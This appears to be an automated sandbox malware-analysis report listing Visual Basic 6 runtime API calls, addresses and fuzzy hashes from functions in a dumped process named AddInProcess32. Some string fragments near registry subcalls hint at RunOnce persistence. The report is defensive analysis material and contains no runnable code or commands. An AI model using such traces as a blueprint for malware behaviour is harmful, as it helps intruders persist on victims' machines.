Instruction Fuzzy Hash: 6DB118B1E00218DFDB24DFA5DD84AEEBBB9FB48300F50816EE509A7250DB745985CF58

Function 004179F2 Relevance: 25.7, APIs: 17, Instructions: 200COMMON

Download Yara Rule

APIs

__vbaAryLock.MSVBVM60(?,00000000,6D15A323,6D16D8B1,6D16D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2
__vbaStrCat.MSVBVM60(?,004096D4,00000000,00000001), ref: 00417CE8
__vbaStrMove.MSVBVM60 ref: 00417CEF
__vbaStrCat.MSVBVM60(004096D4,00000000), ref: 00417CF7
__vbaStrMove.MSVBVM60 ref: 00417CFE
__vbaStrCat.MSVBVM60(?,00000000), ref: 00417D05
__vbaStrMove.MSVBVM60 ref: 00417D0C
__vbaStrCat.MSVBVM60(004096D4,00000000), ref: 00417D14
__vbaStrMove.MSVBVM60 ref: 00417D1B
__vbaInStr.MSVBVM60(00000001,00000000), ref: 00417D20
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 00417D41
#618.MSVBVM60(00000000,00000003), ref: 00417D6E
__vbaStrMove.MSVBVM60 ref: 00417D79
__vbaStrCat.MSVBVM60(Function_00009254,004096CC,00000000), ref: 00417D86
__vbaStrMove.MSVBVM60 ref: 00417D8D
__vbaStrCmp.MSVBVM60(00000000), ref: 00417D90
__vbaSetSystemError.MSVBVM60(00000000,?,?,?,6D15A323,6D16D8B1,6D16D8E2), ref: 00418B33
__vbaAryUnlock.MSVBVM60(?,00418BE2), ref: 00418BB3
__vbaAryUnlock.MSVBVM60(?), ref: 00418BBC
__vbaAryUnlock.MSVBVM60(?), ref: 00418BC5
__vbaFreeStr.MSVBVM60 ref: 00418BD0
__vbaFreeStr.MSVBVM60 ref: 00418BD5
__vbaFreeStr.MSVBVM60 ref: 00418BDA
__vbaFreeStr.MSVBVM60 ref: 00418BDF

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$ErrorFree$SystemUnlock$BoundsGenerateList$#618Lock
String ID:
API String ID: 2878159455-0
Opcode ID: 5be16d220d7e56eae9262f8b4a6e97e2f65e3b200773761827ff221150c3b68a
Instruction ID: 2780b2efc1f4126fd3daf783c884f47e51bc0b84df1625baa5224246725a4293
Opcode Fuzzy Hash: 5be16d220d7e56eae9262f8b4a6e97e2f65e3b200773761827ff221150c3b68a
Instruction Fuzzy Hash: 9A7117B0E042189FCB14DFA9DDC4AEEBBB5FB48300F6081AEE509A7250DB745A85CF54

Function 004259A0 Relevance: 163.2, APIs: 92, Strings: 1, Instructions: 495COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(6D256537,00000000,00000000), ref: 00425A0A
__vbaStrCopy.MSVBVM60 ref: 00425A12
__vbaOnError.MSVBVM60(00000001), ref: 00425A16
#648.MSVBVM60(0000000A), ref: 00425A2E
__vbaFreeVar.MSVBVM60 ref: 00425A3D
__vbaI2I4.MSVBVM60(?), ref: 00425A4F
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
__vbaI2I4.MSVBVM60 ref: 00425A61
#570.MSVBVM60(00000000), ref: 00425A64
__vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
__vbaStrCopy.MSVBVM60 ref: 00425A93

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00425AA9
__vbaFreeStr.MSVBVM60 ref: 00425AAE
__vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
#525.MSVBVM60(00000000), ref: 00425AC9
__vbaStrMove.MSVBVM60 ref: 00425AD4
__vbaI2I4.MSVBVM60 ref: 00425AD9
__vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?), ref: 00425AF7
__vbaStrMove.MSVBVM60(00000003), ref: 00425B08
#616.MSVBVM60(00000000), ref: 00425B0B
__vbaStrMove.MSVBVM60 ref: 00425B16
__vbaStrCmp.MSVBVM60(?,00000000), ref: 00425B1D
__vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 00425B3F
__vbaStrMove.MSVBVM60(?), ref: 00425B64
__vbaStrMove.MSVBVM60(00000004,?), ref: 00425B79
#618.MSVBVM60(00000000), ref: 00425B7C
__vbaStrMove.MSVBVM60 ref: 00425B87
__vbaStrCat.MSVBVM60(00000000), ref: 00425B8A
__vbaStrMove.MSVBVM60(00000000), ref: 00425BA5
__vbaFreeStrList.MSVBVM60(00000004,?,?,00000000,00000000), ref: 00425BB9
__vbaI2I4.MSVBVM60 ref: 00425BCE
__vbaGet4.MSVBVM60(00000004,?,-00000005,00000000), ref: 00425BD8
__vbaStrMove.MSVBVM60 ref: 00425B95

Part of subcall function 00411210: #594.MSVBVM60(?,6D16D9F5,-00000001,6D16D8B1), ref: 0041127A
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60 ref: 00411283
Part of subcall function 00411210: __vbaLenBstr.MSVBVM60 ref: 0041128F
Part of subcall function 00411210: #631.MSVBVM60(?,?,0000000A), ref: 004112C8
Part of subcall function 00411210: __vbaStrMove.MSVBVM60(?,?,0000000A), ref: 004112D3
Part of subcall function 00411210: #516.MSVBVM60(00000000,?,?,0000000A), ref: 004112DA
Part of subcall function 00411210: __vbaFreeStr.MSVBVM60(?,?,0000000A), ref: 004112E9
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60(?,?,0000000A), ref: 004112F2

__vbaStrCat.MSVBVM60(0000,?), ref: 00425C10
__vbaStrMove.MSVBVM60 ref: 00425C1B
__vbaStrCat.MSVBVM60(0000,?), ref: 00425C2C
__vbaStrMove.MSVBVM60 ref: 00425C37
__vbaStrMove.MSVBVM60(?), ref: 00425C47
__vbaFreeStr.MSVBVM60 ref: 00425C4C
__vbaI2I4.MSVBVM60 ref: 00425C55
__vbaFileSeek.MSVBVM60(00000001,00000000), ref: 00425C5A
#648.MSVBVM60(0000000A), ref: 00425C72
__vbaFreeVar.MSVBVM60 ref: 00425C81
__vbaI2I4.MSVBVM60(?), ref: 00425C8D
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000), ref: 00425C97
#525.MSVBVM60(00001000), ref: 00425CA2
__vbaStrMove.MSVBVM60 ref: 00425CAD
__vbaI2I4.MSVBVM60 ref: 00425CE3
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00425CEC
__vbaI2I4.MSVBVM60 ref: 00425CF4
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 00425CFD
#525.MSVBVM60(?), ref: 00425D29
__vbaStrMove.MSVBVM60 ref: 00425D34
__vbaI2I4.MSVBVM60 ref: 00425D39
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00425D42
__vbaI2I4.MSVBVM60 ref: 00425D4A
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 00425D53
#594.MSVBVM60(0000000A), ref: 00425D77
__vbaFreeVar.MSVBVM60 ref: 00425D80
__vbaRedim.MSVBVM60(00000080,00000001,?,00000011,00000001,000000FF,00000000), ref: 00425D9C
#593.MSVBVM60(0000000A), ref: 00425DC6
__vbaGenerateBoundsError.MSVBVM60 ref: 00425DEF
__vbaGenerateBoundsError.MSVBVM60 ref: 00425DFD
__vbaFpUI1.MSVBVM60 ref: 00425E1F
__vbaFreeVar.MSVBVM60 ref: 00425E37
__vbaSetSystemError.MSVBVM60 ref: 00425E5F
__vbaI2I4.MSVBVM60 ref: 00425EAD
__vbaPutOwner3.MSVBVM60(0040A08C,?,00000000), ref: 00425EB9

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

#593.MSVBVM60(0000000A), ref: 00425EF3
__vbaFpI4.MSVBVM60 ref: 00425F15
__vbaFreeVar.MSVBVM60 ref: 00425F20
__vbaSetSystemError.MSVBVM60 ref: 00425F34
__vbaRedimPreserve.MSVBVM60(00000080,00000001,?,00000011,00000001,00000000,00000000), ref: 00425F4C
__vbaI2I4.MSVBVM60 ref: 00425F57
__vbaPutOwner3.MSVBVM60(0040A08C,?,00000000), ref: 00425F63
__vbaI2I4.MSVBVM60 ref: 00425F82
__vbaPut3.MSVBVM60(00000004,?,00000000), ref: 00425F91
__vbaI2I4.MSVBVM60 ref: 00425F95
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 00425F9E
__vbaI2I4.MSVBVM60 ref: 00425FA3
__vbaFileClose.MSVBVM60(00000000), ref: 00425FAC
__vbaI2I4.MSVBVM60 ref: 00425FB0
__vbaFileClose.MSVBVM60(00000000), ref: 00425FB3
__vbaExitProc.MSVBVM60 ref: 00425FBC
__vbaAryDestruct.MSVBVM60(00000000,?,0042604C), ref: 00426026
__vbaFreeStr.MSVBVM60 ref: 00426035
__vbaFreeStr.MSVBVM60 ref: 0042603A
__vbaFreeStr.MSVBVM60 ref: 0042603F
__vbaFreeStr.MSVBVM60 ref: 00426044
__vbaErrorOverflow.MSVBVM60 ref: 00426068

Strings

0000, xrefs: 00425C0B, 00425C27

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Free$Move$Error$File$#516#631BstrCopyPut3$#525$#593#594#648BoundsCloseGenerateGet3Get4ListOpenOwner3RedimSystem$#537#570#616#618DestructExitOverflowPreserveProcSeek
String ID: 0000
API String ID: 292954213-211534962
Opcode ID: 24d6d6b17887c0f3c917ea1074893c9453fe825b7dc9271a4a55e95ec63938c9
Instruction ID: ae26ad25c27fd2aa879063d40509198e82445ba020206e85d6646bf00855608d
Opcode Fuzzy Hash: 24d6d6b17887c0f3c917ea1074893c9453fe825b7dc9271a4a55e95ec63938c9
Instruction Fuzzy Hash: AF125871E002189FDB14DFE4DD88AEEBBB5FB48301F10412AE506B72A0EB745985CF69

Function 00422050 Relevance: 143.9, APIs: 81, Strings: 1, Instructions: 403COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,00000000,Function_000032B6), ref: 0042206E
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0042209B
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,Function_000032B6), ref: 004220AA
__vbaStrCat.MSVBVM60(00408794,?,?,00000000,?,00000000,Function_000032B6), ref: 004220C0
__vbaStrMove.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 004220CB

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

__vbaFreeStr.MSVBVM60(?,?,00000000,?,00000000,Function_000032B6), ref: 004220DD
__vbaStrCat.MSVBVM60(00408794,?,?,00000000,?,00000000,Function_000032B6), ref: 004220F3
__vbaStrMove.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 004220FE

Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60(6D256537,00000000,00000000), ref: 00425A0A
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A12
Part of subcall function 004259A0: __vbaOnError.MSVBVM60(00000001), ref: 00425A16
Part of subcall function 004259A0: #648.MSVBVM60(0000000A), ref: 00425A2E
Part of subcall function 004259A0: __vbaFreeVar.MSVBVM60 ref: 00425A3D
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60(?), ref: 00425A4F
Part of subcall function 004259A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425A61
Part of subcall function 004259A0: #570.MSVBVM60(00000000), ref: 00425A64
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A93
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60(?), ref: 00425AA9
Part of subcall function 004259A0: __vbaFreeStr.MSVBVM60 ref: 00425AAE
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
Part of subcall function 004259A0: #525.MSVBVM60(00000000), ref: 00425AC9
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60 ref: 00425AD4
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425AD9
Part of subcall function 004259A0: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

__vbaFreeStr.MSVBVM60(00000000,00000000,?,00000000,?,00000000,Function_000032B6), ref: 0042211F
__vbaStrCat.MSVBVM60(00408794,00000006,00000006,?,00000000,?,00000000,Function_000032B6), ref: 00422144
__vbaStrMove.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0042214F
#580.MSVBVM60(00000000,?,00000000,?,00000000,Function_000032B6), ref: 00422156
__vbaFreeStr.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0042215F
#598.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0042216C
__vbaNew2.MSVBVM60(004049C0,0042C060,0042C0F0,?,00000000,?,00000000,Function_000032B6), ref: 0042219D
__vbaObjSet.MSVBVM60(?,00000000), ref: 004221D7
__vbaObjSet.MSVBVM60(?,?), ref: 004221F8
__vbaFreeObjList.MSVBVM60(00000002,?,00000000,0042C0F0,00000000,?,00000020), ref: 0042221E
#598.MSVBVM60(?,00000000,Function_000032B6), ref: 0042222E
__vbaSetSystemError.MSVBVM60(?,00000000,Function_000032B6), ref: 00422250
__vbaStrCat.MSVBVM60(00408794,?,00000000,?,00000000,Function_000032B6), ref: 0042226C
__vbaStrMove.MSVBVM60(?,00000000,Function_000032B6), ref: 00422277
__vbaFreeStr.MSVBVM60(00000000,?,00000000,Function_000032B6), ref: 00422286
#598.MSVBVM60(?,00000000,Function_000032B6), ref: 00422293
#648.MSVBVM60(0000000A), ref: 004222B2
__vbaFreeVar.MSVBVM60 ref: 004222C1
__vbaStrCat.MSVBVM60(00408794,?), ref: 004222D7
__vbaFreeStr.MSVBVM60(004226E7), ref: 004226D7
__vbaFreeStr.MSVBVM60 ref: 004226E0

Strings

5, xrefs: 00422686

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Free$Move$CopyError$#598$#580#648BstrChkstk$#525#529#570FileGet4ListNew2OpenSystem
String ID: 5
API String ID: 3012955283-2226203566
Opcode ID: cdd1dfb950c13853577c0f237c10dd9e51c86dbc8f5929e353da7f9a2bdf4f8a
Instruction ID: 514902ae826528d268cef2b3f75eb0ca97d7031ef370423ce81c1c411bdef8a6
Opcode Fuzzy Hash: cdd1dfb950c13853577c0f237c10dd9e51c86dbc8f5929e353da7f9a2bdf4f8a
Instruction Fuzzy Hash: AD02D675900258EFDB04DFA0EE48BEEBB75FF48305F108169E502B72A0DBB45A45DB68

Function 0040C100 Relevance: 122.9, APIs: 65, Strings: 5, Instructions: 383COMMON

Download Yara Rule

APIs

#600.MSVBVM60(?,00000002), ref: 0040C111
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0040C12B
__vbaFreeVar.MSVBVM60 ref: 0040C137
#580.MSVBVM60(00000000,00000027), ref: 0040CA1A
__vbaStrCat.MSVBVM60( RO,00000000), ref: 0040CA32
__vbaStrMove.MSVBVM60 ref: 0040CA3D
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000), ref: 0040CA57
__vbaStrMove.MSVBVM60 ref: 0040CA62

Part of subcall function 0042A090: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CA73,80000002,00000000), ref: 0042A0AE
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0DB
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0E7
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0F3
Part of subcall function 0042A090: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042A102
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 0042A11B
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004032B6), ref: 0042A12B
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A139
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A142
Part of subcall function 0042A090: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 0042A153
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004032B6), ref: 0042A162
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004032B6), ref: 0042A175
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 0042A185
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A193
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A1A1
Part of subcall function 0042A090: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004032B6), ref: 0042A1B1
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(?,?,00000000,004032B6), ref: 0042A1CA
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(0042A207,?,00000000,004032B6), ref: 0042A1EE
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A1F7

__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000), ref: 0040CA7D
__vbaStrCat.MSVBVM60( RO,00000000), ref: 0040CA99
__vbaStrMove.MSVBVM60 ref: 0040CAA4
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000), ref: 0040CABD
__vbaStrMove.MSVBVM60 ref: 0040CAC8
__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000), ref: 0040CAE3

Part of subcall function 004296C0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CAFD,0042C0D4), ref: 004296DE
Part of subcall function 004296C0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042970E
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429723
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 0042973D
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(00000000,?,?,?,00000000,004032B6), ref: 00429744
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042974F
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(explorer.exe, ,00000000,?,?,?,00000000,004032B6), ref: 00429761
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042976C
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429779
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429784
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429792
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 004297A0
Part of subcall function 004296C0: __vbaFreeStrList.MSVBVM60(00000007,?,?,?,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 004297D9

Part of subcall function 004228E0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CB10,00000000,0042C0D4), ref: 004228FE
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042292B
Part of subcall function 004228E0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042293A
Part of subcall function 004228E0: #648.MSVBVM60(0000000A), ref: 00422959
Part of subcall function 004228E0: __vbaFreeVar.MSVBVM60 ref: 00422968
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60(?), ref: 0042297C
Part of subcall function 004228E0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0042298A
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 0042299A
Part of subcall function 004228E0: #570.MSVBVM60(00000000), ref: 004229A1
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229AE
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229E5
Part of subcall function 004228E0: #525.MSVBVM60(00000000), ref: 004229EC
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 004229F7
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A07
Part of subcall function 004228E0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00422A12
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A22
Part of subcall function 004228E0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422A2F
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?), ref: 00422A4A
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60 ref: 00422A68
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(00000003), ref: 00422A79
Part of subcall function 004228E0: #616.MSVBVM60(00000000), ref: 00422A80

#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0F4,00000000,0042C0D4), ref: 0040CB52
__vbaStrCat.MSVBVM60( MR,00000000,0042C110,0042C114,0042C118,00000000,0042C0D4), ref: 0040CB7A
__vbaStrMove.MSVBVM60 ref: 0040CB85
__vbaFreeStr.MSVBVM60(00000000), ref: 0040CB94
__vbaStrCopy.MSVBVM60(80000002,00000000,00000000,80000002,00000000,00000000), ref: 0040CBE5
__vbaStrMove.MSVBVM60(?), ref: 0040CBF9
__vbaStrCopy.MSVBVM60 ref: 0040CC06
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CC16
__vbaStrCopy.MSVBVM60 ref: 0040CC2E
__vbaStrMove.MSVBVM60(?), ref: 0040CC42
__vbaStrCopy.MSVBVM60 ref: 0040CC4F
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CC5F
__vbaStrCopy.MSVBVM60 ref: 0040CC77
__vbaStrMove.MSVBVM60(?), ref: 0040CC8B
__vbaStrCopy.MSVBVM60 ref: 0040CC98
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CCA8
__vbaStrCopy.MSVBVM60 ref: 0040CCC0
__vbaStrMove.MSVBVM60(?), ref: 0040CCD4

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60(6D256537,00000000,00000000), ref: 00425A0A
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A12
Part of subcall function 004259A0: __vbaOnError.MSVBVM60(00000001), ref: 00425A16
Part of subcall function 004259A0: #648.MSVBVM60(0000000A), ref: 00425A2E
Part of subcall function 004259A0: __vbaFreeVar.MSVBVM60 ref: 00425A3D
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60(?), ref: 00425A4F
Part of subcall function 004259A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425A61
Part of subcall function 004259A0: #570.MSVBVM60(00000000), ref: 00425A64
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A93
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60(?), ref: 00425AA9
Part of subcall function 004259A0: __vbaFreeStr.MSVBVM60 ref: 00425AAE
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
Part of subcall function 004259A0: #525.MSVBVM60(00000000), ref: 00425AC9
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60 ref: 00425AD4
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425AD9
Part of subcall function 004259A0: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

__vbaStrCopy.MSVBVM60 ref: 0040CCE1
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CCF1
__vbaStrCopy.MSVBVM60 ref: 0040CD09
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040CD1B
__vbaStrMove.MSVBVM60 ref: 0040CD26

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
